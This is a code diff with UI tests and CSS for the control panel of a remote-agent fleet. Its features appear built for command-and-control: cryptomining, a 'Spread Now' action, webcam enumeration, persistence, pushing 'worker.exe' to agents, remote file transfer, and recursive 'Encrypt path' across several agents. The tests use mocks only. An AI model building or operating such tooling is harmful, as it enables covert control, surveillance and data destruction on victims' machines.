render(<CrucibleExpandedOps {...defaultProps()} />);
|
||||
expect(screen.getByText('Mining')).toBeInTheDocument();
|
||||
expect(screen.getByText('Agent Control')).toBeInTheDocument();
|
||||
expect(screen.getByText('Persistence')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('disables persistence audit when no online targets', () => {
|
||||
render(
|
||||
<CrucibleExpandedOps
|
||||
{...defaultProps({
|
||||
selectedAgents: [mockAgent({ id: 'off-1', status: 'offline' })],
|
||||
selectedCount: 1,
|
||||
singleSelectedAgent: mockAgent({ id: 'off-1', status: 'offline' }),
|
||||
})}
|
||||
/>
|
||||
);
|
||||
|
||||
expect(screen.getByRole('button', { name: 'Persistence Audit' })).toBeDisabled();
|
||||
});
|
||||
|
||||
it('dispatches persistence audit to online agents', async () => {
|
||||
const user = userEvent.setup();
|
||||
const onEcho = vi.fn();
|
||||
render(<CrucibleExpandedOps {...defaultProps({ onEcho })} />);
|
||||
|
||||
await user.click(screen.getByRole('button', { name: 'Persistence Audit' }));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'persistence_audit', {});
|
||||
});
|
||||
expect(onEcho).toHaveBeenCalledWith('persistence_audit → 1 node(s)', true);
|
||||
});
|
||||
|
||||
it('sends wake-on-lan for selected agents', async () => {
|
||||
const user = userEvent.setup();
|
||||
const onEcho = vi.fn();
|
||||
render(<CrucibleExpandedOps {...defaultProps({ onEcho })} />);
|
||||
|
||||
await user.click(screen.getByRole('button', { name: 'Wake-on-LAN' }));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(sendWOLMock).toHaveBeenCalledWith('win-1', 'AA:BB:CC:DD:EE:FF');
|
||||
});
|
||||
expect(onEcho).toHaveBeenCalledWith(expect.stringContaining('WOL → WinNode'), true);
|
||||
});
|
||||
|
||||
it('parses camera_list results into device picker on recon tab', async () => {
|
||||
const user = userEvent.setup();
|
||||
const { rerender } = render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'recon' })} />);
|
||||
|
||||
await user.click(screen.getByRole('button', { name: /Media & Desktop Capture/i }));
|
||||
|
||||
rerender(
|
||||
<CrucibleExpandedOps
|
||||
{...defaultProps({
|
||||
activeTab: 'recon',
|
||||
commandResults: [
|
||||
{
|
||||
agent_id: 'win-1',
|
||||
action: 'camera_list',
|
||||
success: true,
|
||||
message: '"USB WebCam"\n/dev/video0',
|
||||
},
|
||||
],
|
||||
})}
|
||||
/>
|
||||
);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByDisplayValue('"USB WebCam"')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
it('dispatches ARP neighbors from recon tab', async () => {
|
||||
const user = userEvent.setup();
|
||||
const onEcho = vi.fn();
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'recon', onEcho })} />);
|
||||
|
||||
await user.click(screen.getByRole('button', { name: /Network & Firewall Posture/i }));
|
||||
await user.click(screen.getByRole('button', { name: 'ARP Neighbors' }));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'arp_neighbors', {});
|
||||
});
|
||||
expect(onEcho).toHaveBeenCalledWith('arp_neighbors → 1 node(s)', true);
|
||||
});
|
||||
|
||||
it('shows spread_now on spread tab', () => {
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
|
||||
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows SSH probe controls on tunnels tab', async () => {
|
||||
const user = userEvent.setup();
|
||||
const onProbeSSH = vi.fn();
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'tunnels', onProbeSSH })} />);
|
||||
|
||||
await user.click(screen.getByRole('button', { name: 'Probe SSH' }));
|
||||
expect(onProbeSSH).toHaveBeenCalled();
|
||||
expect(screen.getByTestId('protocol-tunnel-panel')).toBeInTheDocument();
|
||||
expect(screen.getByText('Port-Forward Matrix')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders file manager only on files tab', () => {
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'files' })} />);
|
||||
expect(screen.getByTestId('file-manager')).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /Remote File Browser/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('requires build selection before push upgrade', async () => {
|
||||
const user = userEvent.setup();
|
||||
render(<CrucibleExpandedOps {...defaultProps()} />);
|
||||
|
||||
const pushBtn = screen.getByRole('button', { name: 'Push Upgrade' });
|
||||
expect(pushBtn).toBeDisabled();
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('option', { name: /worker\.exe/ })).toBeInTheDocument();
|
||||
});
|
||||
await user.selectOptions(screen.getByRole('combobox'), 'build-1');
|
||||
expect(pushBtn).not.toBeDisabled();
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,118 +1,339 @@
|
||||
.file-manager {
|
||||
border: 1px solid var(--clr-border, #333);
|
||||
border-radius: 4px;
|
||||
|
||||
border: 1px solid var(--border-brass);
|
||||
|
||||
border-radius: 6px;
|
||||
|
||||
padding: 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
|
||||
background: linear-gradient(165deg, rgba(22, 18, 14, 0.92), rgba(8, 6, 4, 0.96));
|
||||
|
||||
font-size: 0.85rem;
|
||||
|
||||
box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.04);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-header {
|
||||
|
||||
display: flex;
|
||||
|
||||
justify-content: space-between;
|
||||
|
||||
align-items: center;
|
||||
|
||||
margin-bottom: 0.5rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-title {
|
||||
|
||||
font-family: var(--font-tech);
|
||||
|
||||
font-size: 0.7rem;
|
||||
letter-spacing: 0.06em;
|
||||
color: var(--clr-dim);
|
||||
|
||||
letter-spacing: 0.08em;
|
||||
|
||||
text-transform: uppercase;
|
||||
|
||||
color: var(--text-muted);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-breadcrumb {
|
||||
|
||||
margin-bottom: 0.5rem;
|
||||
|
||||
flex-wrap: wrap;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-crumb {
|
||||
|
||||
background: none;
|
||||
|
||||
border: none;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
|
||||
color: var(--neon-cyan);
|
||||
|
||||
cursor: pointer;
|
||||
|
||||
font-size: 0.75rem;
|
||||
|
||||
padding: 0;
|
||||
|
||||
transition: color 0.2s ease, text-shadow 0.2s ease;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-crumb:hover {
|
||||
|
||||
color: var(--brass-light);
|
||||
|
||||
text-shadow: 0 0 8px rgba(0, 232, 245, 0.35);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-crumb:focus-visible {
|
||||
|
||||
outline: 2px solid var(--neon-cyan);
|
||||
|
||||
outline-offset: 2px;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-sep {
|
||||
|
||||
opacity: 0.5;
|
||||
|
||||
margin: 0 0.15rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-filter {
|
||||
|
||||
width: 100%;
|
||||
|
||||
margin-bottom: 0.5rem;
|
||||
|
||||
font-size: 0.8rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-list {
|
||||
|
||||
list-style: none;
|
||||
|
||||
margin: 0;
|
||||
|
||||
padding: 0;
|
||||
|
||||
max-height: 220px;
|
||||
|
||||
overflow-y: auto;
|
||||
border: 1px solid #222;
|
||||
|
||||
border: 1px solid rgba(140, 120, 60, 0.2);
|
||||
|
||||
border-radius: 4px;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-list li.selected {
|
||||
background: rgba(0, 255, 255, 0.08);
|
||||
|
||||
background: rgba(0, 232, 245, 0.08);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-row {
|
||||
|
||||
display: flex;
|
||||
|
||||
align-items: center;
|
||||
|
||||
gap: 0.4rem;
|
||||
|
||||
width: 100%;
|
||||
|
||||
padding: 0.25rem 0.4rem;
|
||||
|
||||
background: none;
|
||||
|
||||
border: none;
|
||||
|
||||
color: inherit;
|
||||
|
||||
text-align: left;
|
||||
|
||||
cursor: pointer;
|
||||
|
||||
transition: background 0.15s ease;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-row:hover {
|
||||
|
||||
background: rgba(0, 232, 245, 0.04);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-name {
|
||||
|
||||
flex: 1;
|
||||
|
||||
background: none;
|
||||
|
||||
border: none;
|
||||
|
||||
color: inherit;
|
||||
|
||||
text-align: left;
|
||||
|
||||
cursor: pointer;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-size {
|
||||
|
||||
font-size: 0.7rem;
|
||||
color: var(--clr-dim);
|
||||
|
||||
color: var(--text-muted);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-actions {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-wrap: wrap;
|
||||
|
||||
gap: 0.4rem;
|
||||
|
||||
margin-top: 0.5rem;
|
||||
|
||||
align-items: center;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-upload-path {
|
||||
|
||||
flex: 1;
|
||||
|
||||
min-width: 120px;
|
||||
|
||||
font-size: 0.75rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-preview {
|
||||
|
||||
margin-top: 0.5rem;
|
||||
|
||||
max-height: 120px;
|
||||
|
||||
overflow: auto;
|
||||
|
||||
font-size: 0.7rem;
|
||||
background: #111;
|
||||
|
||||
background: rgba(6, 6, 12, 0.92);
|
||||
|
||||
padding: 0.4rem;
|
||||
|
||||
border: 1px solid rgba(140, 120, 60, 0.15);
|
||||
|
||||
border-radius: 4px;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-err {
|
||||
color: #f66;
|
||||
|
||||
color: var(--error-color);
|
||||
|
||||
font-size: 0.8rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-offline {
|
||||
color: var(--clr-dim);
|
||||
|
||||
color: var(--text-muted);
|
||||
|
||||
font-size: 0.8rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-path {
|
||||
|
||||
font-size: 0.72rem;
|
||||
|
||||
color: var(--neon-cyan);
|
||||
|
||||
margin-bottom: 0.35rem;
|
||||
|
||||
word-break: break-all;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.fm-upload-wrap {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.15rem;
|
||||
}
|
||||
|
||||
.fm-encrypt-section {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
width: 100%;
|
||||
margin-top: 0.4rem;
|
||||
border-top: 1px solid rgba(140, 120, 60, 0.2);
|
||||
padding-top: 0.4rem;
|
||||
}
|
||||
|
||||
.fm-recursive-label {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.25rem;
|
||||
font-size: 0.75rem;
|
||||
cursor: pointer;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.fm-encrypt-btn {
|
||||
background: linear-gradient(135deg, rgba(123, 0, 0, 0.95) 0%, rgba(204, 0, 0, 0.9) 100%);
|
||||
border: 1px solid var(--error-color);
|
||||
color: var(--text-primary);
|
||||
|
||||
font-weight: 700;
|
||||
|
||||
font-size: 0.75rem;
|
||||
|
||||
padding: 0.25rem 0.6rem;
|
||||
|
||||
cursor: pointer;
|
||||
|
||||
border-radius: 3px;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
560
server/web/src/components/Fleet/FileManager.test.tsx
Normal file
560
server/web/src/components/Fleet/FileManager.test.tsx
Normal file
@@ -0,0 +1,560 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import FileManager from './FileManager';
|
||||
import { api } from '../../api/client';
|
||||
import { readFileAsBase64 } from '../../help/desktopPush';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
sendAgentCommand: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock('../../help/desktopPush', () => ({
|
||||
readFileAsBase64: vi.fn(),
|
||||
}));
|
||||
|
||||
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||
const readFileAsBase64Mock = vi.mocked(readFileAsBase64);
|
||||
|
||||
describe('FileManager', () => {
|
||||
const defaultProps = {
|
||||
agentId: 'test-agent-id-12345678',
|
||||
agentName: 'TestAgentName',
|
||||
platform: 'windows',
|
||||
online: true,
|
||||
encryptTargets: [] as { id: string; name: string }[],
|
||||
commandResults: [] as { agentId: string; action: string; success: boolean; message: string }[],
|
||||
onTerminalLine: vi.fn(),
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.resetAllMocks();
|
||||
sendAgentCommandMock.mockResolvedValue({ success: true });
|
||||
readFileAsBase64Mock.mockResolvedValue('mock_base64_payload');
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
it('renders offline message and disables actions when agent is offline', () => {
|
||||
render(<FileManager {...defaultProps} online={false} />);
|
||||
|
||||
expect(screen.getByText('FILE BROWSER — TestAgentName')).toBeInTheDocument();
|
||||
expect(screen.getByText('Agent offline')).toBeInTheDocument();
|
||||
|
||||
// Refresh button should be disabled
|
||||
const refreshBtn = screen.getByRole('button', { name: 'Refresh' });
|
||||
expect(refreshBtn).toBeDisabled();
|
||||
|
||||
// Check action buttons disabled
|
||||
const downloadBtn = screen.getByRole('button', { name: 'Download selected' });
|
||||
expect(downloadBtn).toBeDisabled();
|
||||
|
||||
const uploadInput = screen.getByLabelText('Upload') as HTMLInputElement;
|
||||
expect(uploadInput).toBeDisabled();
|
||||
});
|
||||
|
||||
it('performs list_dir refresh on load and when clicking Refresh', async () => {
|
||||
const { rerender } = render(<FileManager {...defaultProps} />);
|
||||
|
||||
// Triggered automatically on mount
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', { path: '' });
|
||||
|
||||
// Simulate list_dir reply to clear busy state
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({ path: '', entries: [] }),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click refresh manually
|
||||
const refreshBtn = screen.getByRole('button', { name: 'Refresh' });
|
||||
await userEvent.setup().click(refreshBtn);
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', { path: '' });
|
||||
});
|
||||
|
||||
it('renders directory listing when list_dir results are received via commandResults', () => {
|
||||
const listDirPayload = {
|
||||
path: 'C:\\Users\\Admin',
|
||||
home_dir: 'C:\\Users\\Admin',
|
||||
entries: [
|
||||
{ name: 'Documents', is_dir: true, size: 0 },
|
||||
{ name: 'notes.txt', is_dir: false, size: 500 },
|
||||
{ name: 'backup.zip', is_dir: false, size: 2048 },
|
||||
],
|
||||
};
|
||||
|
||||
const commandResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify(listDirPayload),
|
||||
},
|
||||
];
|
||||
|
||||
const { rerender } = render(<FileManager {...defaultProps} commandResults={[]} />);
|
||||
|
||||
// Initially no list elements rendered other than parent row navigation
|
||||
expect(screen.queryByText(/Documents/)).not.toBeInTheDocument();
|
||||
expect(screen.queryByText(/notes.txt/)).not.toBeInTheDocument();
|
||||
|
||||
// Pass in command results
|
||||
rerender(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||
|
||||
expect(screen.getByText(/Documents/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/notes.txt/)).toBeInTheDocument();
|
||||
expect(screen.getByText('500 B')).toBeInTheDocument(); // 500 B < 1024
|
||||
expect(screen.getByText('2.0 KB')).toBeInTheDocument(); // 2048 B / 1024 = 2.0 KB
|
||||
expect(screen.getByText('C:\\Users\\Admin')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('handles navigation by clicking folders or breadcrumbs', async () => {
|
||||
const listDirPayload = {
|
||||
path: 'C:\\Users\\Admin',
|
||||
home_dir: 'C:\\Users\\Admin',
|
||||
entries: [
|
||||
{ name: 'Documents', is_dir: true, size: 0 },
|
||||
],
|
||||
};
|
||||
|
||||
const commandResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify(listDirPayload),
|
||||
},
|
||||
];
|
||||
|
||||
const { rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click on Documents folder to navigate in
|
||||
const docFolderBtn = screen.getByText(/Documents/);
|
||||
await userEvent.setup().click(docFolderBtn);
|
||||
|
||||
// Verify it updates cwd and sends list_dir for the nested path
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||
path: 'C:\\Users\\Admin\\Documents',
|
||||
});
|
||||
|
||||
// Simulate list_dir response for the new nested path to clear busy
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
...commandResults,
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({
|
||||
path: 'C:\\Users\\Admin\\Documents',
|
||||
home_dir: 'C:\\Users\\Admin',
|
||||
entries: [],
|
||||
}),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click parent navigation ".."
|
||||
const parentNavBtn = screen.getByText('..');
|
||||
await userEvent.setup().click(parentNavBtn);
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||
path: 'C:\\Users\\Admin',
|
||||
});
|
||||
|
||||
// Simulate list_dir response back to parent
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
...commandResults,
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({
|
||||
path: 'C:\\Users\\Admin',
|
||||
home_dir: 'C:\\Users\\Admin',
|
||||
entries: [{ name: 'Documents', is_dir: true, size: 0 }],
|
||||
}),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click crumb item "Users" in breadcrumbs
|
||||
const usersCrumbBtn = screen.getByRole('button', { name: 'Users' });
|
||||
await userEvent.setup().click(usersCrumbBtn);
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||
path: 'C:\\Users',
|
||||
});
|
||||
|
||||
// Simulate response for C:\Users
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
...commandResults,
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({
|
||||
path: 'C:\\Users',
|
||||
home_dir: 'C:\\Users\\Admin',
|
||||
entries: [],
|
||||
}),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click home breadcrumb
|
||||
const homeCrumbBtn = screen.getByRole('button', { name: 'home' });
|
||||
await userEvent.setup().click(homeCrumbBtn);
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||
path: 'C:\\Users\\Admin', // Should navigate back to homeDir
|
||||
});
|
||||
});
|
||||
|
||||
it('filters directory entries based on filter input', () => {
|
||||
const listDirPayload = {
|
||||
path: '/var/log',
|
||||
home_dir: '/var/log',
|
||||
entries: [
|
||||
{ name: 'syslog', is_dir: false, size: 500 },
|
||||
{ name: 'nginx.log', is_dir: false, size: 1200 },
|
||||
{ name: 'auth.log', is_dir: false, size: 800 },
|
||||
],
|
||||
};
|
||||
|
||||
const commandResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify(listDirPayload),
|
||||
},
|
||||
];
|
||||
|
||||
render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||
|
||||
expect(screen.getByText(/syslog/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/nginx.log/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/auth.log/)).toBeInTheDocument();
|
||||
|
||||
// Filter for "log" (matches all)
|
||||
const filterInput = screen.getByPlaceholderText('Filter names…');
|
||||
fireEvent.change(filterInput, { target: { value: 'log' } });
|
||||
|
||||
expect(screen.getByText(/syslog/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/nginx.log/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/auth.log/)).toBeInTheDocument();
|
||||
|
||||
// Filter for "sys" (matches syslog only)
|
||||
fireEvent.change(filterInput, { target: { value: 'sys' } });
|
||||
expect(screen.getByText(/syslog/)).toBeInTheDocument();
|
||||
expect(screen.queryByText(/nginx.log/)).not.toBeInTheDocument();
|
||||
expect(screen.queryByText(/auth.log/)).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('reads file and renders preview when clicking a file entry', async () => {
|
||||
const listDirPayload = {
|
||||
path: '/root',
|
||||
home_dir: '/root',
|
||||
entries: [
|
||||
{ name: 'config.json', is_dir: false, size: 100 },
|
||||
],
|
||||
};
|
||||
|
||||
const commandResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify(listDirPayload),
|
||||
},
|
||||
];
|
||||
|
||||
const { container, rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||
|
||||
// Clear initial mount busy state
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({ path: '/root', home_dir: '/root', entries: listDirPayload.entries }),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click file config.json
|
||||
const fileBtn = screen.getByText(/config.json/);
|
||||
await userEvent.setup().click(fileBtn);
|
||||
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'read_file', {
|
||||
path: '/root/config.json',
|
||||
});
|
||||
|
||||
// Verify preview container does not exist yet
|
||||
expect(container.querySelector('pre')).not.toBeInTheDocument();
|
||||
|
||||
// Simulate WS response for read_file
|
||||
const readResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({ path: '/root', home_dir: '/root', entries: listDirPayload.entries }),
|
||||
},
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'read_file',
|
||||
success: true,
|
||||
message: '{"host":"127.0.0.1"}',
|
||||
},
|
||||
];
|
||||
|
||||
rerender(<FileManager {...defaultProps} commandResults={readResults} />);
|
||||
|
||||
// Preview should now be shown
|
||||
const preElement = container.querySelector('pre');
|
||||
expect(preElement).toBeInTheDocument();
|
||||
expect(preElement).toHaveClass('fm-preview');
|
||||
expect(preElement).toHaveTextContent('{"host":"127.0.0.1"}');
|
||||
});
|
||||
|
||||
it('selects multiple files and triggers bulk download', async () => {
|
||||
const listDirPayload = {
|
||||
path: '/app',
|
||||
home_dir: '/app',
|
||||
entries: [
|
||||
{ name: 'a.txt', is_dir: false, size: 100 },
|
||||
{ name: 'b.txt', is_dir: false, size: 200 },
|
||||
],
|
||||
};
|
||||
|
||||
const commandResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify(listDirPayload),
|
||||
},
|
||||
];
|
||||
|
||||
const { rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||
|
||||
// Rerender with matched path to clear busy state
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({ path: '/app', home_dir: '/app', entries: listDirPayload.entries }),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
// Find checkboxes
|
||||
const checkboxes = screen.getAllByRole('checkbox');
|
||||
expect(checkboxes.length).toBe(2);
|
||||
|
||||
// Check both directly via fireEvent to avoid label double-click issue
|
||||
fireEvent.click(checkboxes[0]);
|
||||
fireEvent.click(checkboxes[1]);
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click Download selected
|
||||
const dlBtn = screen.getByRole('button', { name: 'Download selected' });
|
||||
await userEvent.setup().click(dlBtn);
|
||||
|
||||
// Verify api.sendAgentCommand was called for each file
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledTimes(2);
|
||||
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(1, 'test-agent-id-12345678', 'download', {
|
||||
path: '/app/a.txt',
|
||||
});
|
||||
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(2, 'test-agent-id-12345678', 'download', {
|
||||
path: '/app/b.txt',
|
||||
});
|
||||
});
|
||||
|
||||
it('handles file upload action', async () => {
|
||||
const listDirPayload = {
|
||||
path: '/app',
|
||||
home_dir: '/app',
|
||||
entries: [],
|
||||
};
|
||||
const commandResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify(listDirPayload),
|
||||
},
|
||||
];
|
||||
|
||||
const { container, rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||
|
||||
// Clear busy
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({ path: '/app', home_dir: '/app', entries: [] }),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
const uploadInput = container.querySelector('input[type="file"]')!;
|
||||
const file = new File(['hello'], 'hello.txt', { type: 'text/plain' });
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Trigger upload
|
||||
fireEvent.change(uploadInput, { target: { files: [file] } });
|
||||
|
||||
await waitFor(() => {
|
||||
expect(readFileAsBase64Mock).toHaveBeenCalledWith(file);
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'upload', {
|
||||
path: '/app/hello.txt',
|
||||
data: 'mock_base64_payload',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
it('renders path encryption and triggers it with multiple targets when approved', async () => {
|
||||
const encryptTargets = [
|
||||
{ id: 'target-1', name: 'Agent-One' },
|
||||
{ id: 'target-2', name: 'Agent-Two' },
|
||||
];
|
||||
|
||||
const confirmMock = vi.fn().mockReturnValue(true);
|
||||
vi.stubGlobal('confirm', confirmMock);
|
||||
|
||||
const listDirPayload = {
|
||||
path: '/data',
|
||||
home_dir: '/data',
|
||||
entries: [],
|
||||
};
|
||||
const commandResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify(listDirPayload),
|
||||
},
|
||||
];
|
||||
|
||||
const { rerender } = render(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={commandResults}
|
||||
encryptTargets={encryptTargets}
|
||||
/>
|
||||
);
|
||||
|
||||
// Clear busy
|
||||
rerender(
|
||||
<FileManager
|
||||
{...defaultProps}
|
||||
commandResults={[
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: true,
|
||||
message: JSON.stringify({ path: '/data', home_dir: '/data', entries: [] }),
|
||||
},
|
||||
]}
|
||||
encryptTargets={encryptTargets}
|
||||
/>
|
||||
);
|
||||
|
||||
// Verify path encryption section is rendered
|
||||
expect(screen.getByText('Recursive')).toBeInTheDocument();
|
||||
const encryptBtn = screen.getByRole('button', { name: '🔒 Encrypt path (2)' });
|
||||
expect(encryptBtn).toBeInTheDocument();
|
||||
|
||||
sendAgentCommandMock.mockClear();
|
||||
|
||||
// Click Encrypt path
|
||||
await userEvent.setup().click(encryptBtn);
|
||||
|
||||
